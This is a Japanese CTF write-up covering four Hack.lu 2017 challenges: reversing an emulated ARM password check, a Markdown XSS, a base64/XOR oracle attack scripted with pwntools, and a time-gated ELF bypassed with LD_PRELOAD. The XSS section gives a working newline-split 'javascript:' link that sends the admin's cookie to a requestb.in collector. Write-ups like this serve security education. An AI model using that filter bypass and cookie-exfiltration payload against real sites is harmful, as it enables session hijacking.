チーム Harekaze で Hack.lu CTF 2017 に参加しました。最終的にチームで 1160 点を獲得し、順位は得点 241 チーム中 65 位でした。うち、私は 4 問を解いて 603 点を入れました。
以下、解いた問題の write-up です。
与えられた URL にアクセスするとフラグの入力フォームが表示されました。ソースを確認してみましょう。
<!DOCTYPE html>
<html>
<head>
<title>Triangle</title>
<link href="main.css" rel="stylesheet">
</head>
<body>
<div class="topleft">
<img id="eye" src=eye.png>
</div>
<div class="topright">
<img id="frei" src=frei.png>
</div>
<div class="bottomcenter">
<img id="templar" src=templar.png>
</div>
<div class="middle">
flag{
<input id="password" type="text" name="Password">
}
<br>
<button onclick="login()">Login</button>
</div>
</body>
</html>
<script src="unicorn.js"></script>
<script src="util.js"></script>
<script src="secret.js"></script>
<script>
// toDataURL firefox vs chrome >:O
if(navigator.userAgent.toLowerCase().indexOf('firefox') > -1){
var o1 = [220, 8, 440, 642, 5, 189, 440, 642, 24, 249, 440, 642, 8, 300, 440, 280, 8, 1, 440, 280, 8, 219, 440, 280, 8, 162, 178, 60, 8, 517, 857, 60, 485, 517, 53, 497, 295, 219, 79, 497, 8, 8, 130, 280, 8, 8, 8, 5, 36, 517, 460, 497, 25, 8, 15, 642, 485, 8, 8, 6, 295, 8, 19, 497, 295, 189, 900, 497, 295, 300, 72, 497, 36, 8, 40, 642, 484, 131, 131, 520, 295, 1, 440, 280, 8, 8, 440, 280, 8, 189, 440, 280, 8, 162, 440, 280, 8, 249, 440, 280, 8, 300, 440, 280, 8, 517, 440, 280, 8, 253, 440, 280, 8, 19, 440, 280, 8, 74, 440, 280, 8, 440, 440, 280, 8, 219, 440, 280] ;
var o2 = [24, 8, 105, 419, 80, 414, 105, 419, 5, 439, 105, 419, 8, 447, 105, 192, 8, 1, 105, 192, 8, 91, 104, 891, 70, 8, 330, 192, 70, 8, 8, 6, 64, 63, 64, 381, 25, 91, 632, 155, 25, 91, 632, 381, 70, 1, 76, 381, 8, 91, 417, 891, 70, 8, 19, 381, 70, 414, 82, 381, 70, 447, 555, 381, 176, 8, 139, 419, 220, 141, 141, 635, 8, 8, 105, 192, 8, 414, 105, 192, 8, 439, 105, 192, 8, 447, 105, 192, 8, 91, 105, 192, 8, 1, 105, 192, 8, 63, 105, 192, 8, 693, 105, 192, 8, 46, 105, 192, 8, 105, 105, 192] ;
var o3 = [105, 134, 235, 31, 530, 39, 39, 105, 817, 1, 53, 479, 479, 97, 479, 160, 693, 54, 479, 31, 498, 817, 479, 530, 674, 335, 597, 90, 134, 134, 134, 344] ;
}
else{
var o1 = [305, 8, 485, 346, 5, 394, 485, 346, 24, 460, 485, 346, 8, 172, 485, 259, 8, 1, 485, 259, 8, 177, 485, 259, 8, 112, 349, 822, 8, 372, 86, 822, 286, 372, 106, 619, 63, 177, 61, 619, 8, 8, 60, 259, 8, 8, 8, 5, 64, 372, 317, 619, 25, 8, 15, 346, 286, 8, 8, 6, 63, 8, 19, 619, 63, 394, 226, 619, 63, 172, 591, 619, 64, 8, 40, 346, 618, 148, 148, 104, 63, 1, 485, 259, 8, 8, 485, 259, 8, 394, 485, 259, 8, 112, 485, 259, 8, 460, 485, 259, 8, 172, 485, 259, 8, 372, 485, 259, 8, 526, 485, 259, 8, 19, 485, 259, 8, 217, 485, 259, 8, 485, 485, 259, 8, 177, 485, 259] ;
var o2 = [24, 8, 355, 223, 317, 515, 355, 223, 5, 195, 355, 223, 8, 250, 355, 379, 8, 1, 355, 379, 8, 287, 431, 100, 101, 8, 200, 379, 101, 8, 8, 6, 203, 170, 203, 268, 25, 287, 678, 199, 25, 287, 678, 268, 101, 1, 76, 268, 8, 287, 1205, 100, 101, 8, 19, 268, 101, 515, 1446, 268, 101, 250, 186, 268, 198, 8, 337, 223, 81, 50, 50, 119, 8, 8, 355, 379, 8, 515, 355, 379, 8, 195, 355, 379, 8, 250, 355, 379, 8, 287, 355, 379, 8, 1, 355, 379, 8, 170, 355, 379, 8, 184, 355, 379, 8, 617, 355, 379, 8, 355, 355, 379] ;
var o3 = [52, 853, 58, 31, 908, 39, 39, 52, 197, 1, 86, 786, 786, 370, 786, 79, 177, 343, 786, 31, 106, 197, 786, 908, 331, 344, 227, 491, 853, 853, 853, 496] ;
}
function login(){
var input = document.getElementById('password').value;
var enc = enc_pw(input);
var pw = get_pw();
if(test_pw(enc, pw) == 1){
alert('Well done!');
}
else{
alert('Try again ...');
}
}
</script>
Unicorn.js を使って CPU のエミュレーションを行っているようです。unicorn.js
の他に読み込まれているファイルも確認しましょう。
util.js
(minify されていたものを整形)
function stoh(t) {
return t.split("").map(function(t) {
return t.charCodeAt(0)
})
}
function htos(t) {
return String.fromCharCode.apply(String, t)
}
function getBase64Image(t) {
var e = document.getElementById(t),
a = document.createElement("canvas");
a.width = e.width, a.height = e.height;
var n = a.getContext("2d");
n.drawImage(e, 0, 0);
var r = a.toDataURL("image/png");
return r.replace(/^data:image\/(png|jpeg);base64,/, "")
}
secret.js
(minify されていたものを整形)
function test_pw(e, _) {
var t = stoh(atob(getBase64Image("eye"))),
r = 4096,
m = 8192,
R = 12288,
a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m), a.reg_write_i32(uc.ARM_REG_R10, R), a.reg_write_i32(uc.ARM_REG_R8, _.length), a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL), a.mem_write(m, stoh(_)), a.mem_map(R, 4096, uc.PROT_ALL), a.mem_write(R, stoh(e));
var u = r,
c = r + o1.length;
return a.emu_start(u, c, 0, 0), a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei"))),
t = 4096,
r = 8192,
m = 12288,
R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r), R.reg_write_i32(uc.ARM_REG_R9, m), R.reg_write_i32(uc.ARM_REG_R10, e.length), R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL), R.mem_write(r, stoh(e)), R.mem_map(m, 4096, uc.PROT_ALL);
var o = t,
u = t + o2.length;
return R.emu_start(o, u, 0, 0), htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
return _
}
get_pw()
の返り値は XYzaSAAX_PBssisodjsal_sSUVWZYYYb
です。enc_pw()
と test_pw()
のループ中でメモリに書き込んでいる値から実行されているコードを抽出してみると、以下のようになりました。
enc_pw: \x08\x00\xa0\xe1\x09\x10\xa0\xe1\x0a\x20\xa0\xe1\x00\x30\xa0\xe3\x00\x50\xa0\xe3\x00\x40\xd0\xe5\x01\x00\x55\xe3\x01\x00\x00\x1a\x03\x60\x03\xe2\x06\x40\x84\xe0\x06\x40\x84\xe2\x01\x50\x04\xe2\x00\x40\xc1\xe5\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x30\x83\xe2\x02\x00\x53\xe1\xf2\xff\xff\xba\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3
test_pw: \x09\x00\xa0\xe1\x0a\x10\xa0\xe1\x08\x30\xa0\xe1\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\xc0\xa0\xe3\x00\x20\xd0\xe5\x00\x60\xd1\xe5\x05\x60\x86\xe2\x01\xc0\x04\xe2\x00\x00\x5c\xe3\x00\x00\x00\x0a\x03\x60\x46\xe2\x06\x00\x52\xe1\x05\x00\x00\x1a\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x40\x84\xe2\x03\x00\x54\xe1\xf1\xff\xff\xba\x01\x50\xa0\xe3\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x80\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3\x00\xc0\xa0\xe3
new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM)
から ARM のコードであることは分かっています。それぞれ逆アセンブルしてみましょう。
enc_pw()
0x1000: mov r0, r8
0x1004: mov r1, sb
0x1008: mov r2, sl
0x100c: mov r3, #0
0x1010: mov r5, #0
0x1014: ldrb r4, [r0]
0x1018: cmp r5, #1
0x101c: bne #0x1028
0x1020: and r6, r3, #3
0x1024: add r4, r4, r6
0x1028: add r4, r4, #6
0x102c: and r5, r4, #1
0x1030: strb r4, [r1]
0x1034: add r0, r0, #1
0x1038: add r1, r1, #1
0x103c: add r3, r3, #1
0x1040: cmp r3, r2
0x1044: blt #0x1014
0x1048: mov r0, #0
0x104c: mov r1, #0
0x1050: mov r2, #0
0x1054: mov r3, #0
0x1058: mov r4, #0
0x105c: mov r5, #0
0x1060: mov r6, #0
0x1064: mov r7, #0
0x1068: mov sb, #0
0x106c: mov sl, #0
Python で書くと大体以下のような処理になっています。
def enc_pw(s):
res = ''
f = 0
for i, c in enumerate(s):
c = ord(c)
if f == 1:
c += i & 3
c += 6
f = c & 1
res += chr(c)
return res
test_pw()
0x1000: mov r0, sb
0x1004: mov r1, sl
0x1008: mov r3, r8
0x100c: mov r4, #0
0x1010: mov r5, #0
0x1014: mov ip, #0
0x1018: ldrb r2, [r0]
0x101c: ldrb r6, [r1]
0x1020: add r6, r6, #5
0x1024: and ip, r4, #1
0x1028: cmp ip, #0
0x102c: beq #0x1034
0x1030: sub r6, r6, #3
0x1034: cmp r2, r6
0x1038: bne #0x1054
0x103c: add r0, r0, #1
0x1040: add r1, r1, #1
0x1044: add r4, r4, #1
0x1048: cmp r4, r3
0x104c: blt #0x1018
0x1050: mov r5, #1
0x1054: mov r0, #0
0x1058: mov r1, #0
0x105c: mov r2, #0
0x1060: mov r3, #0
0x1064: mov r4, #0
0x1068: mov r6, #0
0x106c: mov r7, #0
0x1070: mov r8, #0
0x1074: mov sb, #0
0x1078: mov sl, #0
0x107c: mov ip, #0
Python で書くと大体以下のような処理になっています。
def test_pw(s, t):
for i, (c, d) in enumerate(zip(s, t)):
c, d = ord(c), ord(d)
c += 5
if i & 1:
c -= 3
if c != d:
return 0
return 1
これでどのような判定処理を行っているかが分かりました。フラグを 1 文字ずつ総当たりで特定していきましょう。
import string
def enc_pw(s):
res = ''
f = 0
for i, c in enumerate(s):
c = ord(c)
if f == 1:
c += i & 3
c += 6
f = c & 1
res += chr(c)
return res
encrypted = 'XYzaSAAX_PBssisodjsal_sSUVWZYYYb'
flag = ''
for i, c in enumerate(encrypted):
c = ord(c)
c -= 5
if i & 1 != 0:
c += 3
for d in string.printable:
if enc_pw(flag + d)[i] == chr(c):
flag += d
break
print flag
print 'flag{' + flag + '}'
$ python2 solve.py
M
MP
MPm
MPmV
MPmVH
MPmVH9
MPmVH94
MPmVH94P
MPmVH94PT
MPmVH94PTH
MPmVH94PTH7
MPmVH94PTH7h
MPmVH94PTH7hh
MPmVH94PTH7hha
MPmVH94PTH7hhaf
MPmVH94PTH7hhafg
MPmVH94PTH7hhafgY
MPmVH94PTH7hhafgYa
MPmVH94PTH7hhafgYah
MPmVH94PTH7hhafgYahY
MPmVH94PTH7hhafgYahYa
MPmVH94PTH7hhafgYahYaV
MPmVH94PTH7hhafgYahYaVf
MPmVH94PTH7hhafgYahYaVfK
MPmVH94PTH7hhafgYahYaVfKJ
MPmVH94PTH7hhafgYahYaVfKJN
MPmVH94PTH7hhafgYahYaVfKJNL
MPmVH94PTH7hhafgYahYaVfKJNLR
MPmVH94PTH7hhafgYahYaVfKJNLRN
MPmVH94PTH7hhafgYahYaVfKJNLRNQ
MPmVH94PTH7hhafgYahYaVfKJNLRNQL
MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ
flag{MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ}
フラグが得られました。
flag{MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ}
与えられた URL にアクセスすると Markdown を入力するフォームが表示されました。どうやら送信するとどのように表示されるかチェックできるようですが、他にも admin に Markdown を送るページがあり、その中に以下のような説明がありました。
Try to steal the cookie!
- We use mistune.Renderer(escape=True, hard_wrap=True)
- The admin will look at your converted Markdown.
- The admin will click on links (<a>).
- You can check the queue here
試しに [link](https://requestb.in/xxxxxxxx)
のような Markdown を admin に送ってみると、問題サーバから Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
という User agent でアクセスがありました。
javascript:
スキームが使えないか [link](javascript:1)
を試してみましたが、これは <a href="">link</a>
のようにレンダリングされました。
いろいろ試していると、以下のように改行を挟むことで javascript:
スキームが使えることに気づきました。
[link](java
script:alert`1`)
これは以下のようにレンダリングされます。
<a href="java
script:alert`1`">link</a>
クリックしてみると alert が表示されました。
以下の Markdown を admin に送ると GET /xxxxxxxx?Admin=flag{92da883eb1df9d1287ff25f1a1099f29}
のようなアクセスが来ました。
[link](java
script:location.href=`https://requestb.in/xxxxxxxx?`+document.cookie)
flag{92da883eb1df9d1287ff25f1a1099f29}
以下のようなソースコードが与えられました。
#!/usr/bin/python2
from flag import flag
from base64 import b64decode
from SocketServer import ThreadingTCPServer
from sys import argv
from binascii import hexlify, unhexlify
import SocketServer
import os
N = 8
MAX_TRIES = 1024
PAD = 64
welcome = "Welcome! :-)\n"
menu = "What would you like to do:\n\t1: supply encoded input,\n\t2: tell me my secret\n> "
def gen_secret():
return os.urandom(N)
def crypt(s1, s2):
return "".join(map(lambda c: chr(((ord(c[0])^ord(c[1]))+PAD)%256), zip(s1,s2)))
b64chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"
def decode(s, secret):
enc = ""
s = crypt(s, secret)
for c in s:
if c in b64chars:
enc+=c
if len(enc) % 4 == 1:
enc = enc[:-1]
while len(enc) % 4 != 0:
enc+="="
return b64decode(enc)
class B64Handler(SocketServer.BaseRequestHandler):
def setup(self):
self.tries = 0
self.secret = gen_secret()
def handle(self):
self.request.send(welcome)
for i in range(MAX_TRIES):
self.request.send("Round number: {}\n{}".format(i, menu))
if self.request.recv(2)[0] == "1":
self.request.send("What would you like me to decode?\n> ")
answer = self.request.recv(len(self.secret))
decoded = decode(answer, self.secret)
self.request.send("Alright, here is your answer: {}\n".format(decoded))
else:
self.request.send("Alright, what is my secret (hex encoded)?\n> ")
answer = self.request.recv(2*len(self.secret)+1).rstrip()
if answer==hexlify(self.secret):
self.request.send("Well done, here is your flag: {}\n".format(flag))
else:
self.request.send("This was not what I was looking for. :-(\n")
break
self.request.send("Bye!\n")
def main():
SocketServer.ThreadingTCPServer.allow_reuse_address = True
if len(argv) < 2:
print("Usage: {} <PORT>".format(argv[0]))
else:
LOCAL_PORT = int(argv[1])
s = SocketServer.ThreadingTCPServer(("", LOCAL_PORT), B64Handler)
try:
s.serve_forever()
except KeyboardInterrupt:
print("shutting down")
s.shutdown()
s.socket.close()
if __name__ == "__main__":
main()
サーバに接続するとまず os.urandom(8)
で 8 バイトの secret を生成しています。メニューで 1
を選択するとクライアントに入力を求め、secret と入力を xor したものを Base64 としてデコードした文字列を返しています。メニューで 1
以外を選択するとクライアントに入力を求め、もし入力が secret と同じであればフラグを返しています。
secret と xor して Base64 デコードされた結果のビット数が一番大きくなるような入力を探せばよさそうです。
以下のスクリプトを実行するとフラグが得られました。
from pwn import *
def decode(s, t):
s.recvuntil('> ')
s.sendline('1')
s.recvuntil('> ')
s.send(t[:8])
s.recvuntil('Alright, here is your answer: ')
r = s.recvuntil('\nRound ')[:-7]
if r == '':
return r, 0
b = bin(int(r.encode('hex'), 16))[2:]
return r, len(b) / 6
s = remote('flatearth.fluxfingers.net', 1718)
res = 'AAAAAAAA'
a = decode(s, res)
for i in range(8):
log.info('{} / 7'.format(i))
for x in range(0, 256, 32):
for y in range(0, 256, 32):
t = res[:i] + chr(y) + chr(x) + res[i+2:]
b = decode(s, t)
if b[1] > a[1]:
res = t
a = b
break
secret = ''.join(chr((ord(c) - 64) % 256) for c in a[0].encode('base64').strip())
secret = xor(secret, res)
log.info('secret: {}'.format(secret.encode('hex')))
s.recvuntil('> ')
s.sendline('2')
s.recvuntil('> ')
s.sendline(secret.encode('hex'))
s.interactive()
$ python solve.py
[+] Opening connection to flatearth.fluxfingers.net on port 1718: Done
[*] 0 / 7
[*] 1 / 7
[*] 2 / 7
[*] 3 / 7
[*] 4 / 7
[*] 5 / 7
[*] 6 / 7
[*] 7 / 7
[*] secret: 7b6b8636da054644
[*] Switching to interactive mode
Well done, here is your flag: flag{7h3_b35t_w4y_of_h1ding_s3cr3t5_the_w0r1d_h4s_ev3r_seen_period!}
Bye!
[*] Got EOF while reading in interactive
flag{7h3_b35t_w4y_of_h1ding_s3cr3t5_the_w0r1d_h4s_ev3r_seen_period!}
launcher
というファイルが与えられました。file
に投げてみましょう。
$ file ./launcher
./launcher: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=464269c36073a8820e69146b00cc8e68d1f50718, stripped
x86_64 の ELF のようです。実行してみましょう。
$ ./launcher
$ ltrace ltrace -s 1024 ./launcher
time(0) = 1508423959
localtime(0x7fff542e8228) = 0x7f34f2daf560
strftime("2017-10-19", 99, "%Y-%m-%d", 0x7f34f2daf560) = 10
strlen("2017-10-19") = 10
calloc(120, 1) = 0x7f34f44400b0
memcpy(0x7f34f44400b0, "2017-10-19", 10) = 0x7f34f44400b0
free(0x7f34f44400b0) = <void>
snprintf("2692e4d4", 9, "%02x%02x%02x%02x", 0x26, 0x92, 0xe4, 0xd4) = 8
snprintf("dac63219", 9, "%02x%02x%02x%02x", 0xda, 0xc6, 0x32, 0x19) = 8
snprintf("1fa408cf", 9, "%02x%02x%02x%02x", 0x1f, 0xa4, 0x8, 0xcf) = 8
snprintf("deecac3e", 9, "%02x%02x%02x%02x", 0xde, 0xec, 0xac, 0x3e) = 8
snprintf("2692e4d4dac632191fa408cfdeecac3e", 33, "%s%s%s%s", "2692e4d4", "dac63219", "1fa408cf", "deecac3e") = 32
strlen("2692e4d4dac632191fa408cfdeecac3e") = 32
strlen(".fluxfingers.net") = 16
malloc(49) = 0x7f34f4440130
strcat("", "2692e4d4dac632191fa408cfdeecac3e") = "2692e4d4dac632191fa408cfdeecac3e"
strcat("2692e4d4dac632191fa408cfdeecac3e", ".fluxfingers.net") = "2692e4d4dac632191fa408cfdeecac3e.fluxfingers.net"
__res_query(0x7f34f4440130, 1, 16, 0x7fff542e71d0) = 0xffffffff
+++ exited (status 1) +++
そのまま実行しても何も出力されませんが、どうやら 2692e4d4dac632191fa408cfdeecac3e.fluxfingers.net
の名前解決を行っているようです。
2692e4d4dac632191fa408cfdeecac3e
は 2017-10-19
の MD5 ハッシュです。time
を差し替えて常に 1356015600
(2012 年 12 月 21 日) を返すようにしてみましょう。
$ cat time.c
int time(int t) {
return 1356015600;
}
$ gcc -shared -fPIC -o time.so time.c
$ LD_PRELOAD=./time.so ./launcher
flag{e3a03c6f3fe91b40eaa8e71b41f0db12}
フラグが得られました。
flag{e3a03c6f3fe91b40eaa8e71b41f0db12}